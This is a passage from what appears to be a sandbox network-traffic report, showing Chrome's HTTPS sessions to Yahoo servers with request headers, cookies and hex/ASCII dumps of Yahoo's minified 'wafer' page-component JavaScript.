n&&(t&&C(r,t)\|\|document.body).querySelector(n)\|\|i}},{key:"getTargetElem",value:function(){var e=this._util,t=e.elem,r=e.target,n=e.targetElem;return
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 69 3d 6e 2e 63 61 63 68 65 2c 61 3d 6e 2e 63 61 63 68 65 4b 65 79 2c 6f 3d 6e 2e 63 61 63 68 65 53 74 72 61 74 65 67 79 2c 73 3d 6e 2e 63 61 63 68 65 54 74 6c 2c 63 3d 6e 2e 63 6f 6e 66 69 67 2c 75 3d 6e 2e 63 72 65 64 65 6e 74 69 61 6c 73 2c 6c 3d 6e 2e 69 6d 70 6f 72 74 61 6e 63 65 2c 66 3d 63 2e 68 65 61 64 65 72 73 7c 7c 7b 7d 3b 72 65 74 75 72 6e 20 41 28 6a 2c 7b 62 6f 64 79 3a 72 2c 63 61 63 68 65 3a 69 2c 63 61 63 68 65 4b 65 79 3a 61 2c 63 61 63 68 65 53 74 72 61 74 65 67 79 3a 6f 2c 63 61 63 68 65 54 74 6c 3a 73 2c 63 6c 69 65 6e 74 48 65 61 64 65 72 73 3a 66 2c 63 72 65 64 65 6e 74 69 61 6c 73 3a 75 2c 69 6d 70 6f 72 74 61 6e 63 65 3a 6c 2c 70 61 72 61 6d 73 54 6f 4e 6f 74 43 61 63 68 65 3a 49 2c 72 65 74 72 69 65 73 3a 50 2c 74 69 6d 65 6f 75 Data Ascii: i=n.cache,a=n.cacheKey,o=n.cacheStrategy,s=n.cacheTtl,c=n.config,u=n.credentials,l=n.importance,f=c.headers\|\|{};return A(j,{body:r,cache:i,cacheKey:a,cacheStrategy:o,cacheTtl:s,clientHeaders:f,credentials:u,importance:l,paramsToNotCache:I,retries:P,timeou
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 7c 4c 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 44 2e 66 6f 63 75 73 28 29 7d 2c 35 29 7d 61 26 26 28 61 2e 63 61 6c 6c 28 65 2c 4c 29 2c 67 2e 73 79 6e 63 41 73 73 65 74 73 28 74 2e 61 73 73 65 74 73 29 2c 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 5f 5f 5f 64 65 62 75 67 43 6f 6e 74 65 6e 74 26 26 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 5f 5f 5f 64 65 62 75 67 43 6f 6e 74 65 6e 74 28 74 2e 68 74 6d 6c 7c 7c 74 2e 6d 61 72 6b 75 70 29 29 7d 72 65 74 75 72 6e 20 65 2e 5f 73 74 61 74 65 2e 72 65 74 72 69 65 73 3d 30 2c 67 2e 65 6d 69 74 4c 6f 67 28 7b 6e 61 6d 65 3a 22 57 61 66 65 72 46 65 74 63 68 22 2c 65 6c 65 6d 3a 63 2c 6d 65 74 61 3a 7b 64 75 72 61 74 69 6f 6e 3a 62 2c 73 6f 75 72 63 65 3a 41 2c 75 72 6c Data Ascii: \|L),setTimeout(function(){return D.focus()},5)}a&&(a.call(e,L),g.syncAssets(t.assets),window.wafer.___debugContent&&window.wafer.___debugContent(t.html\|\|t.markup))}return e._state.retries=0,g.emitLog({name:"WaferFetch",elem:c,meta:{duration:b,source:A,url
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 2d 74 61 72 67 65 74 2d 63 6f 6d 70 6c 65 74 65 22 29 29 2c 53 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 66 65 74 63 68 2d 74 61 72 67 65 74 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 65 2e 5f 73 74 61 74 65 2e 73 74 61 74 75 73 3d 32 2c 21 21 28 22 4e 6f 74 20 66 6f 75 6e 64 22 3d 3d 3d 6e 26 26 75 7c 7c 6c 3d 3d 3d 75 29 26 26 28 73 3f 67 2e 64 65 73 74 72 6f 79 28 63 29 3a 65 2e 64 65 73 74 72 6f 79 28 29 2c 21 30 29 7d 7d 29 7d 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 21 31 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 44 65 66 61 75 6c 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 73 74 61 74 65 2e 73 74 61 74 75 73 3d 31 2c 67 2e 73 79 6e 63 28 65 29 7d Data Ascii: -target-complete")),S.classList.remove("wafer-fetch-target-inprogress"),e._state.status=2,!!("Not found"===n&&u\|\|l===u)&&(s?g.destroy(c):e.destroy(),!0)}})}return Promise.resolve(!1)}},{key:"handleDefault",value:function(e){this._state.status=1,g.sync(e)}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49829	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	1124	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=2023538075&yhlCT=2&yhlBTMS=1714257710623&yhlClientVer=3.54.1&yhlRnd=tTLqmwLWhO6TDmTv&yhlCompressed=0 HTTP/1.1 Host: udc.yahoo.com Connection: keep-alive Content-Length: 4264 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-04-27 22:41:52 UTC	4264	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 43 70 5f 4c 57 59 43 45 4c 66 55 59 56 63 52 69 62 4e 70 30 4e 33 36 4d 70 4a 54 61 47 4d 46 45 67 45 42 41 51 48 51 4c 6d 59 33 5a 74 77 76 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 68 59 30 5a 73 53 4f 66 56 32 56 77 38 62 55 65 76 53 5f 4a 2d 73 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 34 2e 31 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 41 4e 41 4c 59 54 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA%26S%3DAQAAAhY0ZsSOfV2Vw8bUevS_J-s%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.54.1%22%2C%22A_cn%22%3A%22ANALYT
2024-04-27 22:41:52 UTC	591	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.yahoo.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Sat, 27 Apr 2024 22:41:52 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49836	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	542	OUT	GET /aaq/wf/wf-lightbox-1.10.6-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	828	IN	HTTP/1.1 200 OK x-amz-id-2: kFGT+lbY09Iclg5RCcgP2J7y7wi/4zszAfRCOhJdxfbF2XrM33F45DHdvs2fhOt+nEbPQlUFIBQ= x-amz-request-id: DF9P7M1NZ942R4K1 Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Wed, 01 Mar 2023 01:43:59 GMT ETag: "69831b2f7b26bc6dd6321c8dcde85968" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: K.68hs0p5c2EOJjfXuKP9dx0XBa4hSTK Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 13914 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 725 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 6c 69 67 68 74 62 6f 78 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 6c 69 67 68 74 62 6f 78 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-lightbox",[],t):"object"==typeof exports?exports["wafer-lightbox"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafe
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 Data Ascii: {if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototype
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 6e 26 26 65 28 74 2c 6e 29 2c 74 7d 7d 28 29 2c 70 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 66 3d 70 2e 62 61 73 65 2c 64 3d 70 2e 63 6f 6e 73 74 61 6e 74 73 2c 77 3d 70 2e 66 65 61 74 75 72 65 73 2c 62 3d 70 2e 75 74 69 6c 73 2c 79 3d 70 2e 57 61 66 65 72 42 61 73 65 43 6c 61 73 73 2c 67 3d 62 2e 62 69 6e 64 45 76 65 6e 74 2c 76 3d 62 2e 66 69 6e 64 41 6e 63 65 73 74 6f 72 2c 6d 3d 62 2e 67 65 74 46 6f 63 75 73 61 62 6c 65 45 6c 65 6d 73 2c 5f 3d 62 2e 67 65 74 54 65 6d 70 6c 61 74 65 43 6f 6e 74 65 6e 74 2c 43 3d 62 2e 72 65 6d 6f 76 65 54 72 61 6e 73 69 74 69 6f 6e 2c 78 3d 62 2e 73 65 74 54 69 6d 65 6f 75 74 2c 45 3d 62 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 2c 6b 3d 62 2e 75 6e 62 69 6e 64 45 Data Ascii: &e(t.prototype,o),n&&e(t,n),t}}(),p=window.wafer,f=p.base,d=p.constants,w=p.features,b=p.utils,y=p.WaferBaseClass,g=b.bindEvent,v=b.findAncestor,m=b.getFocusableElems,_=b.getTemplateContent,C=b.removeTransition,x=b.setTimeout,E=b.setTransition,k=b.unbindE
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 76 6f 69 64 20 30 3d 3d 3d 62 3f 30 3a 4e 75 6d 62 65 72 28 62 29 2c 6b 65 79 3a 64 2c 73 65 6c 65 63 74 6f 72 3a 61 2c 73 75 63 63 65 73 73 43 6c 61 73 73 3a 69 2c 74 61 72 67 65 74 3a 66 2c 74 72 69 67 67 65 72 3a 77 2c 77 72 61 70 70 65 72 4d 61 70 3a 63 7d 2c 6d 26 26 28 68 2e 5f 75 74 69 6c 2e 70 61 67 65 54 61 72 67 65 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6d 29 29 2c 68 2e 5f 73 74 61 74 65 3d 75 28 7b 63 6f 6e 74 65 6e 74 4f 62 73 65 72 76 65 72 3a 6e 75 6c 6c 2c 66 69 72 73 74 46 6f 63 75 73 61 62 6c 65 45 6c 65 6d 3a 6e 75 6c 6c 2c 6c 61 73 74 46 6f 63 75 73 61 62 6c 65 45 6c 65 6d 3a 6e 75 6c 6c 2c 74 6f 75 63 68 65 6e 64 59 3a 30 2c 74 6f 75 63 68 73 74 61 72 74 59 3a 30 2c 77 69 6c 6c 43 6c 6f 73 65 3a 6e Data Ascii: void 0===b?0:Number(b),key:d,selector:a,successClass:i,target:f,trigger:w,wrapperMap:c},m&&(h._util.pageTarget=document.querySelector(m)),h._state=u({contentObserver:null,firstFocusableElem:null,lastFocusableElem:null,touchendY:0,touchstartY:0,willClose:n
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 72 20 79 3d 62 3d 22 77 61 66 65 72 2d 6c 69 67 68 74 62 6f 78 2d 6c 61 62 65 6c 2d 22 2b 44 61 74 65 2e 6e 6f 77 28 29 3b 64 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 79 29 7d 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6c 61 62 65 6c 6c 65 64 62 79 22 2c 62 29 7d 73 26 26 28 70 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 6c 69 67 74 68 62 6f 78 2d 73 6f 75 72 63 65 2d 22 2b 73 29 2c 4d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 6c 69 67 74 68 62 6f 78 2d 73 6f 75 72 63 65 2d 22 2b 73 2b 22 2d 6f 70 65 6e 22 29 29 2c 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6d 6f 64 61 6c 22 2c 21 30 29 2c 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c Data Ascii: r y=b="wafer-lightbox-label-"+Date.now();d.setAttribute("id",y)}p.setAttribute("aria-labelledby",b)}s&&(p.classList.add("wafer-ligthbox-source-"+s),M.classList.add("wafer-ligthbox-source-"+s+"-open")),p.setAttribute("aria-modal",!0),p.setAttribute("role",
2024-04-27 22:41:52 UTC	1011	IN	Data Raw: 74 68 69 73 2e 5f 75 74 69 6c 2e 74 72 69 67 67 65 72 26 26 74 68 69 73 2e 6f 70 65 6e 28 29 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 54 6f 75 63 68 53 74 61 72 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 73 74 61 74 65 2e 74 6f 75 63 68 73 74 61 72 74 59 3d 65 2e 63 68 61 6e 67 65 64 54 6f 75 63 68 65 73 5b 30 5d 2e 73 63 72 65 65 6e 59 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 54 6f 75 63 68 4d 6f 76 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 6f 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 77 72 61 70 70 65 72 4d 61 70 2c 6c 3d 6f 2e 65 6c 65 6d 65 6e 74 54 6f 53 63 72 6f 6c 6c 3b 69 66 28 30 3d 3d 3d 6c 2e 73 63 72 6f 6c 6c 54 6f 70 29 7b 76 61 72 20 72 3d 65 2e Data Ascii: this._util.trigger&&this.open())}},{key:"handleTouchStart",value:function(e){this._state.touchstartY=e.changedTouches[0].screenY}},{key:"handleTouchMove",value:function(e){var t=this,o=this._util.wrapperMap,l=o.elementToScroll;if(0===l.scrollTop){var r=e.
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6d 65 6e 74 54 6f 53 63 72 6f 6c 6c 2c 6e 3d 6f 2e 73 63 72 6f 6c 6c 48 65 69 67 68 74 2c 6c 3d 6f 2e 73 63 72 6f 6c 6c 54 6f 70 3b 6e 2d 74 2e 6f 66 66 73 65 74 48 65 69 67 68 74 2d 6c 3c 31 26 26 74 68 69 73 2e 68 61 6e 64 6c 65 53 77 69 70 65 43 6c 6f 73 65 28 29 7d 7d 2c 7b 6b 65 79 3a 22 73 65 74 46 6f 63 75 73 61 62 6c 65 45 6c 65 6d 65 6e 74 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 77 72 61 70 70 65 72 4d 61 70 2c 74 3d 65 2e 77 72 61 70 70 65 72 45 6c 65 6d 2c 6f 3d 6d 28 74 29 3b 74 68 69 73 2e 5f 73 74 61 74 65 2e 66 69 72 73 74 46 6f 63 75 73 61 62 6c 65 45 6c 65 6d 3d 6f 5b 30 5d 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 6c 61 73 74 46 6f 63 75 73 61 62 6c 65 45 6c 65 6d 3d 6f Data Ascii: mentToScroll,n=o.scrollHeight,l=o.scrollTop;n-t.offsetHeight-l<1&&this.handleSwipeClose()}},{key:"setFocusableElements",value:function(){var e=this._util.wrapperMap,t=e.wrapperElem,o=m(t);this._state.firstFocusableElem=o[0],this._state.lastFocusableElem=o
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 63 72 6f 6c 6c 22 2c 22 5f 68 61 6e 64 6c 65 4b 65 79 44 6f 77 6e 22 5d 2c 57 3d 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 22 72 67 62 61 28 32 35 35 20 2c 20 32 35 35 2c 20 32 35 35 20 2c 30 2e 38 29 22 2c 62 6f 74 74 6f 6d 3a 22 30 22 2c 64 69 73 70 6c 61 79 3a 22 6e 6f 6e 65 22 2c 68 65 69 67 68 74 3a 22 31 30 30 25 22 2c 6c 65 66 74 3a 22 30 22 2c 70 6f 73 69 74 69 6f 6e 3a 22 66 69 78 65 64 22 2c 72 69 67 68 74 3a 22 30 22 2c 74 6f 70 3a 22 30 22 2c 77 69 64 74 68 3a 22 31 30 30 25 22 7d 2c 49 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 75 74 69 6c 73 2c 52 3d 49 2e 62 69 6e 64 45 76 65 6e 74 2c 71 3d 49 2e 67 65 74 43 6f 6e 66 69 67 46 72 6f 6d 4a 53 4f 4e 53 63 72 69 70 74 4e 6f 64 65 2c 48 3d 49 2e 67 65 74 54 65 6d 70 6c 61 74 65 43 6f 6e 74 65 6e 74 2c Data Ascii: croll","_handleKeyDown"],W={background:"rgba(255 , 255, 255 ,0.8)",bottom:"0",display:"none",height:"100%",left:"0",position:"fixed",right:"0",top:"0",width:"100%"},I=window.wafer.utils,R=I.bindEvent,q=I.getConfigFromJSONScriptNode,H=I.getTemplateContent,
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 76 61 72 20 79 3d 62 3b 72 65 74 75 72 6e 20 50 2e 70 72 6f 74 6f 74 79 70 65 2e 77 69 6c 6c 4f 70 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 62 61 73 65 2e 70 61 75 73 65 56 69 64 65 6f 28 29 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 59 7c 7c 30 3b 46 3f 28 65 65 3d 51 2e 73 74 79 6c 65 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 51 2e 73 74 79 6c 65 2c 7b 6f 76 65 72 66 6c 6f 77 3a 22 68 69 64 64 65 6e 22 2c 70 6f 73 69 74 69 6f 6e 3a 22 66 69 78 65 64 22 2c 74 6f 70 3a 22 2d 22 2b 65 2b 22 70 78 22 2c 77 69 64 74 68 3a 22 31 30 30 25 22 7d 29 2c 74 65 3d 24 2e 73 74 79 6c 65 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 24 2e 73 74 79 6c 65 2c 7b 68 65 69 67 68 74 3a 22 31 30 30 76 68 22 7d 29 29 Data Ascii: var y=b;return P.prototype.willOpen=function(){window.wafer.base.pauseVideo();var e=window.scrollY\|\|0;F?(ee=Q.style,Object.assign(Q.style,{overflow:"hidden",position:"fixed",top:"-"+e+"px",width:"100%"}),te=$.style,Object.assign($.style,{height:"100vh"}))
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 3d 74 65 29 2c 55 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 26 26 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 54 6f 28 30 2c 65 2e 5f 73 74 61 74 65 2e 6c 61 73 74 53 63 72 6f 6c 6c 59 7c 7c 30 29 2c 65 2e 5f 73 74 61 74 65 2e 6c 61 73 74 53 63 72 6f 6c 6c 59 3d 30 7d 2c 31 30 29 2c 46 7c 7c 28 24 2e 73 74 79 6c 65 3d 74 65 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 69 2e 73 74 79 6c 65 2c 7b 64 69 73 70 6c 61 79 3a 22 6e 6f 6e 65 22 7d 29 2c 77 26 26 77 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 29 2c 75 2e 63 6c 6f 73 65 28 29 2c 64 26 26 51 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 6c 69 67 74 68 62 6f 78 Data Ascii: nt.documentElement.style=te),U(function(){r&&window.scrollTo(0,e._state.lastScrollY\|\|0),e._state.lastScrollY=0},10),F\|\|($.style=te),Object.assign(i.style,{display:"none"}),w&&w.removeAttribute("aria-hidden"),u.close(),d&&Q.classList.remove("wafer-ligthbox

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49837	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	544	OUT	GET /aaq/wf/wf-scrollview-2.22.6-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	828	IN	HTTP/1.1 200 OK x-amz-id-2: F+qr9FI8d4/3WkDpPzZmlPL588BX3JhYjtR1QmxB/VO2Q5VBNtvvuCxAgyUyr3dIExuCA14D8oA= x-amz-request-id: 7P33YJJDG62R69XC Date: Sat, 27 Apr 2024 22:29:54 GMT Last-Modified: Sun, 03 Mar 2024 00:45:48 GMT ETag: "aeea17ace82479b8f0c0b6583c4b49ab" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: Crn0K3Y6rSIDk6fkEnMGOzHN3fbaT5sQ Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 34717 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 719 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1172	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 73 63 72 6f 6c 6c 76 69 65 77 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 73 63 72 6f 6c 6c 76 69 65 77 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-scrollview",[],t):"object"==typeof exports?exports["wafer-scrollview"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.
